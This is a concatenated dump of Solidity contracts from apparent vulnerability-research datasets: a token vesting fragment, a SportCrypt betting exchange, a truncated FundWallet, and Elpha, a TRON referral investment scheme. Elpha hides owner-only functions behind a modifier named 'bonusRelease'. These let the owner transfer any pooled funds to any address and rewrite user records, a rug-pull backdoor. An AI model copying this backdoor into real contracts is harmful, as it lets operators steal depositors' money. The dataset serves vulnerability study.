uint private constant amountEachPrivateSaleRelease = 1e6 * 1e18;
uint private constant amountEachTeamRelease = 150000 * 1e18;
constructor(address _marketingTGEAddress,
address _privateSaleTGEAddress,
address _publicSaleTGEAddress) public {
_transfer(address(this), _marketingTGEAddress, marketingReleased);
_transfer(address(this), _privateSaleTGEAddress, privateSaleReleased);
_transfer(address(this), _publicSaleTGEAddress, publicSaleAllocation);
}
function releaseAdviserAllocation(address _receiver) public onlyOwner {
require(adviserReleased.add(amountEachAdviserRelease) <= adviserAllocation, 'Max adviser allocation released!!!');
require(now - lastAdviserReleased >= 30 days, 'Please wait to next checkpoint!');
_transfer(address(this), _receiver, amountEachAdviserRelease);
adviserReleased = adviserReleased.add(amountEachAdviserRelease);
lastAdviserReleased = lastAdviserReleased + 30 days;
}
function releaseCommunityAllocation(address _receiver) public onlyOwner {
require(communityReleased.add(amountEachCommunityRelease) <= communityAllocation, 'Max community allocation released!!!');
require(now - lastCommunityReleased >= 90 days, 'Please wait to next checkpoint!');
_transfer(address(this), _receiver, amountEachCommunityRelease);
communityReleased = communityReleased.add(amountEachCommunityRelease);
lastCommunityReleased = lastCommunityReleased + 90 days;
}
function releaseFarmAllocation(address _farmAddress, uint256 _amount) public onlyFarmContract {
require(farmingReleased.add(_amount) <= farmingAllocation, 'Max farming allocation released!!!');
_transfer(address(this), _farmAddress, _amount);
farmingReleased = farmingReleased.add(_amount);
}
function releaseMarketingAllocation(address _receiver) public onlyOwner {
require(marketingReleased.add(amountEachMarketingRelease) <= marketingAllocation, 'Max marketing allocation released!!!');
require(now - lastMarketingReleased >= 90 days, 'Please wait to next checkpoint!');
_transfer(address(this), _receiver, amountEachMarketingRelease);
marketingReleased = marketingReleased.add(amountEachMarketingRelease);
lastMarketingReleased = lastMarketingReleased + 90 days;
}
function releasePrivateSaleAllocation(address _receiver) public onlyOwner {
require(privateSaleReleased.add(amountEachPrivateSaleRelease) <= privateSaleAllocation, 'Max privateSale allocation released!!!');
require(now - lastPrivateSaleReleased >= 90 days, 'Please wait to next checkpoint!');
_transfer(address(this), _receiver, amountEachPrivateSaleRelease);
privateSaleReleased = privateSaleReleased.add(amountEachPrivateSaleRelease);
lastPrivateSaleReleased = lastPrivateSaleReleased + 90 days;
}
function releaseTeamAllocation(address _receiver) public onlyOwner {
require(teamReleased.add(amountEachTeamRelease) <= teamAllocation, 'Max team allocation released!!!');
require(now - lastTeamReleased >= 30 days, 'Please wait to next checkpoint!');
_transfer(address(this), _receiver, amountEachTeamRelease);
teamReleased = teamReleased.add(amountEachTeamRelease);
lastTeamReleased = lastTeamReleased + 30 days;
}
}
| 231,740 | 12,719 |
ae3ee5e932e18d86b708ab82bfce3a2c3e13655f61557d992279f08a1f1237ae
| 17,352 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x37304b0ab297f13f5520c523102797121182fb5b.sol
| 4,507 | 17,087 |
pragma solidity ^0.4.18;
contract SportCrypt {
address private owner;
mapping(address => bool) private admins;
function SportCrypt() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
// Events
event LogBalanceChange(address indexed account, uint oldAmount, uint newAmount);
event LogDeposit(address indexed account);
event LogWithdraw(address indexed account);
event LogTrade(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint8 orderDirection, uint8 price, uint longAmount, int newLongPosition, uint shortAmount, int newShortPosition);
event LogTradeError(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint16 status);
event LogOrderCancel(address indexed account, uint indexed matchId, uint orderHash);
event LogFinalizeMatch(uint indexed matchId, uint8 finalPrice);
event LogClaim(address indexed account, uint indexed matchId, uint amount);
// Storage
struct Match {
mapping(address => int) positions;
uint64 firstTradeTimestamp;
bool finalized;
uint8 finalPrice;
}
mapping(address => uint) private balances;
mapping(uint => Match) private matches;
mapping(uint => uint) private filledAmounts;
// Memory
uint constant MAX_SANE_AMOUNT = 2**128;
enum Status {
OK,
MATCH_FINALIZED,
ORDER_EXPIRED,
ORDER_MALFORMED,
ORDER_BAD_SIG,
AMOUNT_MALFORMED,
SELF_TRADE,
ZERO_VALUE_TRADE
}
struct Order {
uint orderHash;
uint matchId;
uint amount;
uint expiry;
address addr;
uint8 price;
uint8 direction;
}
// [0]: match hash
// [1]: amount
// [2]: 5-byte expiry, 5-byte nonce, 1-byte price, 1-byte direction, 20-byte address
function parseOrder(uint[3] memory rawOrder) private constant returns(Order memory o) {
o.orderHash = uint(keccak256(this, rawOrder));
o.matchId = rawOrder[0];
o.amount = rawOrder[1];
uint packed = rawOrder[2];
o.expiry = packed >> (8*27);
o.addr = address(packed & 0x00ffffffffffffffffffffffffffffffffffffffff);
o.price = uint8((packed >> (8*21)) & 0xff);
o.direction = uint8((packed >> (8*20)) & 0xff);
}
function validateOrderParams(Order memory o) private pure returns(bool) {
if (o.amount > MAX_SANE_AMOUNT) return false;
if (o.price == 0 || o.price > 99) return false;
if (o.direction > 1) return false;
return true;
}
function validateOrderSig(Order memory o, bytes32 r, bytes32 s, uint8 v) private pure returns(bool) {
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", o.orderHash), v, r, s) != o.addr) return false;
return true;
}
struct Trade {
Status status;
address longAddr;
address shortAddr;
int newLongPosition;
int newShortPosition;
int longBalanceDelta;
int shortBalanceDelta;
uint shortAmount;
uint longAmount;
}
// User methods
function() external payable {
revert();
}
function deposit() external payable {
if (msg.value > 0) {
uint origAmount = balances[msg.sender];
uint newAmount = safeAdd(origAmount, msg.value);
balances[msg.sender] = newAmount;
LogDeposit(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
}
}
function withdraw(uint amount) external {
uint origAmount = balances[msg.sender];
uint amountToWithdraw = minu256(origAmount, amount);
if (amountToWithdraw > 0) {
uint newAmount = origAmount - amountToWithdraw;
balances[msg.sender] = newAmount;
LogWithdraw(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
msg.sender.transfer(amountToWithdraw);
}
}
function cancelOrder(uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
// Don't bother validating order params.
require(validateOrderSig(o, r, s, v));
require(o.addr == msg.sender);
if (block.timestamp < o.expiry) {
filledAmounts[o.orderHash] = o.amount;
LogOrderCancel(msg.sender, o.matchId, o.orderHash);
}
}
function trade(uint amount, uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
if (!validateOrderParams(o)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_MALFORMED));
return;
}
if (!validateOrderSig(o, r, s, v)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_BAD_SIG));
return;
}
Trade memory t = tradeCore(amount, o);
if (t.status != Status.OK) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(t.status));
return;
}
// Modify storage to reflect trade:
var m = matches[o.matchId];
if (m.firstTradeTimestamp == 0) {
assert(block.timestamp > 0);
m.firstTradeTimestamp = uint64(block.timestamp);
}
m.positions[t.longAddr] = t.newLongPosition;
m.positions[t.shortAddr] = t.newShortPosition;
adjustBalance(t.longAddr, t.longBalanceDelta);
adjustBalance(t.shortAddr, t.shortBalanceDelta);
filledAmounts[o.orderHash] += (o.direction == 0 ? t.shortAmount : t.longAmount);
LogTrade(msg.sender, o.addr, o.matchId, o.orderHash, o.direction, o.price, t.longAmount, t.newLongPosition, t.shortAmount, t.newShortPosition);
}
function claim(uint matchId, uint8 finalPrice, bytes32 r, bytes32 s, uint8 v) external {
var m = matches[matchId];
if (m.finalized) {
require(m.finalPrice == finalPrice);
} else {
uint messageHash = uint(keccak256(this, matchId, finalPrice));
address signer = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", messageHash), v, r, s);
require(admins[signer]);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
int delta = 0;
int senderPosition = m.positions[msg.sender];
if (senderPosition > 0) {
delta = priceDivide(senderPosition, finalPrice);
} else if (senderPosition < 0) {
delta = priceDivide(-senderPosition, 100 - finalPrice);
} else {
return;
}
assert(delta >= 0);
m.positions[msg.sender] = 0;
adjustBalance(msg.sender, delta);
LogClaim(msg.sender, matchId, uint(delta));
}
function recoverFunds(uint matchId) external {
var m = matches[matchId];
if (m.finalized || m.firstTradeTimestamp == 0) {
return;
}
uint recoveryTimestamp = uint(m.firstTradeTimestamp) + ((matchId & 0xFF) * 7 * 86400);
if (uint(block.timestamp) > recoveryTimestamp) {
uint8 finalPrice = uint8((matchId & 0xFF00) >> 8);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
}
// Private utilities
function adjustBalance(address addr, int delta) private {
uint origAmount = balances[addr];
uint newAmount = delta >= 0 ? safeAdd(origAmount, uint(delta)) : safeSub(origAmount, uint(-delta));
balances[addr] = newAmount;
LogBalanceChange(addr, origAmount, newAmount);
}
function priceDivide(int amount, uint8 price) private pure returns(int) {
assert(amount >= 0);
return int(safeMul(uint(amount), price) / 100);
}
function computeEffectiveBalance(uint balance, int position, uint8 price, bool isLong) private pure returns(uint) {
uint effectiveBalance = balance;
if (isLong) {
if (position < 0) effectiveBalance += uint(priceDivide(-position, price));
} else {
if (position > 0) effectiveBalance += uint(priceDivide(position, 100 - price));
}
return effectiveBalance;
}
function computePriceWeightedAmounts(uint longAmount, uint shortAmount, uint price) private pure returns(uint, uint) {
uint totalLongAmount;
uint totalShortAmount;
totalLongAmount = longAmount + (safeMul(longAmount, 100 - price) / price);
totalShortAmount = shortAmount + (safeMul(shortAmount, price) / (100 - price));
if (totalLongAmount > totalShortAmount) {
return (totalShortAmount - shortAmount, shortAmount);
} else {
return (longAmount, totalLongAmount - longAmount);
}
}
function computeExposureDelta(int longBalanceDelta, int shortBalanceDelta, int oldLongPosition, int newLongPosition, int oldShortPosition, int newShortPosition) private pure returns(int) {
int positionDelta = 0;
if (newLongPosition > 0) positionDelta += newLongPosition - max256(0, oldLongPosition);
if (oldShortPosition > 0) positionDelta -= oldShortPosition - max256(0, newShortPosition);
return positionDelta + longBalanceDelta + shortBalanceDelta;
}
function tradeCore(uint amount, Order memory o) private constant returns(Trade t) {
var m = matches[o.matchId];
if (block.timestamp >= o.expiry) {
t.status = Status.ORDER_EXPIRED;
return;
}
if (m.finalized) {
t.status = Status.MATCH_FINALIZED;
return;
}
if (msg.sender == o.addr) {
t.status = Status.SELF_TRADE;
return;
}
if (amount > MAX_SANE_AMOUNT) {
t.status = Status.AMOUNT_MALFORMED;
return;
}
t.status = Status.OK;
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
// maker short, taker long
t.longAddr = msg.sender;
longAmount = amount;
t.shortAddr = o.addr;
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
} else {
// maker long, taker short
t.longAddr = o.addr;
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
t.shortAddr = msg.sender;
shortAmount = amount;
}
int oldLongPosition = m.positions[t.longAddr];
int oldShortPosition = m.positions[t.shortAddr];
longAmount = minu256(longAmount, computeEffectiveBalance(balances[t.longAddr], oldLongPosition, o.price, true));
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[t.shortAddr], oldShortPosition, o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
if (longAmount == 0 || shortAmount == 0) {
t.status = Status.ZERO_VALUE_TRADE;
return;
}
int newLongPosition = oldLongPosition + (int(longAmount) + int(shortAmount));
int newShortPosition = oldShortPosition - (int(longAmount) + int(shortAmount));
t.longBalanceDelta = 0;
t.shortBalanceDelta = 0;
if (oldLongPosition < 0) t.longBalanceDelta += priceDivide(-oldLongPosition + min256(0, newLongPosition), 100 - o.price);
if (newLongPosition > 0) t.longBalanceDelta -= priceDivide(newLongPosition - max256(0, oldLongPosition), o.price);
if (oldShortPosition > 0) t.shortBalanceDelta += priceDivide(oldShortPosition - max256(0, newShortPosition), o.price);
if (newShortPosition < 0) t.shortBalanceDelta -= priceDivide(-newShortPosition + min256(0, oldShortPosition), 100 - o.price);
int exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
if (exposureDelta != 0) {
if (exposureDelta == 1) {
newLongPosition--;
newShortPosition++;
} else if (exposureDelta == -1) {
t.longBalanceDelta++; // one left-over wei: arbitrarily give it to long
} else {
assert(false);
}
exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
assert(exposureDelta == 0);
}
t.newLongPosition = newLongPosition;
t.newShortPosition = newShortPosition;
t.shortAmount = shortAmount;
t.longAmount = longAmount;
}
// External views
function getOwner() external view returns(address) {
return owner;
}
function isAdmin(address addr) external view returns(bool) {
return admins[addr];
}
function getBalance(address addr) external view returns(uint) {
return balances[addr];
}
function getMatchInfo(uint matchId) external view returns(uint64, bool, uint8) {
var m = matches[matchId];
return (m.firstTradeTimestamp, m.finalized, m.finalPrice);
}
function getPosition(uint matchId, address addr) external view returns(int) {
return matches[matchId].positions[addr];
}
function getFilledAmount(uint orderHash) external view returns(uint) {
return filledAmounts[orderHash];
}
function checkMatchBatch(address myAddr, uint[16] matchIds) external view returns(int[16] myPosition, bool[16] finalized, uint8[16] finalPrice) {
for (uint i = 0; i < 16; i++) {
if (matchIds[i] == 0) break;
var m = matches[matchIds[i]];
myPosition[i] = m.positions[myAddr];
finalized[i] = m.finalized;
finalPrice[i] = m.finalPrice;
}
}
function checkOrderBatch(uint[48] input) external view returns(uint16[16] status, uint[16] amount) {
for (uint i = 0; i < 16; i++) {
uint[3] memory rawOrder;
rawOrder[0] = input[(i*3)];
rawOrder[1] = input[(i*3) + 1];
rawOrder[2] = input[(i*3) + 2];
if (rawOrder[0] == 0) break;
Order memory o = parseOrder(rawOrder);
if (!validateOrderParams(o)) {
status[i] = uint16(Status.ORDER_MALFORMED);
amount[i] = 0;
continue;
}
// Not validating order signatures or timestamps: should be done by clients
var m = matches[o.matchId];
if (m.finalized) {
status[i] = uint16(Status.MATCH_FINALIZED);
amount[i] = 0;
continue;
}
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
longAmount = safeMul(shortAmount, 100);
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = shortAmount;
} else {
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
shortAmount = safeMul(longAmount, 100);
longAmount = minu256(longAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, true));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = longAmount;
}
}
}
// Math utilities
function safeMul(uint a, uint b) private pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) private pure returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) private pure returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function minu256(uint a, uint b) private pure returns(uint) {
return a < b ? a : b;
}
function max256(int a, int b) private pure returns(int) {
return a >= b ? a : b;
}
function min256(int a, int b) private pure returns(int) {
return a < b ? a : b;
}
}
| 203,824 | 12,720 |
f8e1a7a6a34cec2726652707ee78a94ac0e4f7f405d6e4996e2456eec4813ca9
| 14,493 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTDgt8KArFbjWnVjKGsFvmDrrybNNGuDdV_Elpha.sol
| 3,965 | 13,585 |
//SourceUnit: Elpha.sol
pragma solidity >=0.4.0 <0.8.0;
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier bonusRelease {
require(msg.sender == owner,
"Nothing For You!");
_;
}
}
contract Elpha is owned {
struct User {
uint256 id;
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint256[] public cycles;
uint8[] public ref_bonuses; //10% of amount TRX
uint8[] public pool_bonuses; // 1% daily
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
admin_fee = _owner;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].payouts = 0;
users[_owner].deposit_amount = 0;
users[_owner].deposit_payouts = 0;
users[_owner].deposit_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(25); //1st generation
ref_bonuses.push(10); //2nd generation
ref_bonuses.push(10); //3rd generation
ref_bonuses.push(10); //4th generation
ref_bonuses.push(10); //5th generation
ref_bonuses.push(7); //6th generation
ref_bonuses.push(7); //7th generation
ref_bonuses.push(7); //8th generation
ref_bonuses.push(7); //9th generation
ref_bonuses.push(7); //10th generation
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function join_newmember(address _upline) public payable {
require(msg.value > 1.0 trx);
if(users[_upline].deposit_time > 0) {
}
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 1 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function depositPayout(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 3;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function payoutToWallet(address payable _user, uint256 _amount) public bonusRelease
{
_user.transfer(_amount);
}
function getUserById(uint256 userid) view external bonusRelease returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external bonusRelease returns(uint256 id, address user_address, uint256 cycle, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].cycle, users[_addr].deposit_payouts, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function updUser(address _addr, uint256 _id, uint256 _cycle, address _upline, uint256 _referrals, uint256 _payouts, uint256 _direct_bonus, uint256 _pool_bonus) public bonusRelease {
users[_addr].id = _id;
users[_addr].cycle = _cycle;
users[_addr].upline = _upline;
users[_addr].referrals = _referrals;
users[_addr].payouts = _payouts;
users[_addr].direct_bonus = _direct_bonus;
users[_addr].pool_bonus = _pool_bonus;
userList[_id] = _addr;
total_users = total_users + 1 ;
}
function updUserAfter(address _addr, uint256 _match_bonus, uint256 _deposit_amount, uint256 _deposit_payouts, uint40 _deposit_time, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure) public bonusRelease {
users[_addr].match_bonus = _match_bonus;
users[_addr].deposit_amount = _deposit_amount;
users[_addr].deposit_payouts = _deposit_payouts;
users[_addr].deposit_time = _deposit_time;
users[_addr].total_deposits = _total_deposits;
users[_addr].total_payouts = _total_payouts;
users[_addr].total_structure = _total_structure;
}
function initContract(uint256 poolcycle, uint256 poolbalance, uint40 poollastdraw, uint256 totaldeposited,uint256 totalwithdraw) public bonusRelease
{
pool_cycle = poolcycle;
pool_balance = poolbalance;
pool_last_draw = poollastdraw;
total_deposited = totaldeposited;
total_withdraw = totalwithdraw;
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 287,186 | 12,721 |
6aedc2182ec89ff475fc55a9786b511a95be6baa8ad294720285091de1ba2df6
| 14,407 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb01a9ac1a5c159aac55b70ef0fa2634eb30ba4fa.sol
| 3,106 | 12,880 |
pragma solidity 0.4.18;
/// @dev Not fully tested, use only in test environment.
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract FwPermissions {
address public admin;
address public backupAdmin;
//Kyber Reserve contract address
address public reserve;
bool public timePeriodsSet;
bool public adminStaked;
bool public endBalanceLogged;
mapping (address => bool) public isContributor;
mapping (address => bool) public hasClaimed;
address[] public contributors;
//experimental time periods
uint public start;
uint public adminP;
uint public raiseP;
uint public opperateP;
uint public liquidP;
function FwPermissions() public {
admin = msg.sender;
}
//modifiers
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyBackupAdmin() {
require(msg.sender == backupAdmin);
_;
}
modifier timePeriodsNotSet() {
require(timePeriodsSet == false);
_;
}
modifier timePeriodsAreSet() {
require(timePeriodsSet == true);
_;
}
modifier onlyReserve() {
require(msg.sender == reserve);
_;
}
modifier onlyContributor() {
require(isContributor[msg.sender]);
_;
}
modifier adminHasStaked() {
require(adminStaked == true);
_;
}
modifier adminHasNotStaked() {
require(adminStaked == false);
_;
}
modifier endBalanceNotLogged() {
require(endBalanceLogged == false);
_;
}
modifier endBalanceIsLogged() {
require(endBalanceLogged == true);
_;
}
modifier hasNotClaimed() {
require(!hasClaimed[msg.sender]);
_;
}
modifier inAdminP() {
require(now < (start + adminP));
_;
}
modifier inRaiseP() {
require(now < (start + adminP + raiseP) && now > (start + adminP));
_;
}
modifier inOpperateP() {
require(now < (start + adminP + raiseP + opperateP) && now > (start + adminP + raiseP));
_;
}
modifier inLiquidP() {
require(now < (start + adminP + raiseP + opperateP + liquidP) && now > (start + adminP + raiseP + opperateP));
_;
}
modifier inOpAndLiqP() {
require(now < (start + adminP + raiseP + opperateP + liquidP) && now > (start + adminP + raiseP));
_;
}
modifier inClaimP() {
require(now > (start + adminP + raiseP + opperateP + liquidP));
_;
}
}
contract FundWallet is FwPermissions {
uint public adminStake;
uint public raisedBalance;
uint public endBalance;
mapping (address => uint) public stake;
//admin reward
uint public adminCarry; //in basis points (1% = 100bps)
//eth address
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
//events
event ContributorAdded(address _contributor);
event ContributorRemoval(address _contributor);
event ContributorDeposit(address sender, uint value);
event ContributorDepositReturn(address _contributor, uint value);
event AdminDeposit(address sender, uint value);
event AdminDepositReturned(address sender, uint value);
event TokenPulled(ERC20 token, uint amount, address sendTo);
event EtherPulled(uint amount, address sendTo);
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
event EtherWithdraw(uint amount, address sendTo);
/// @notice Constructor, initialises admin wallets.
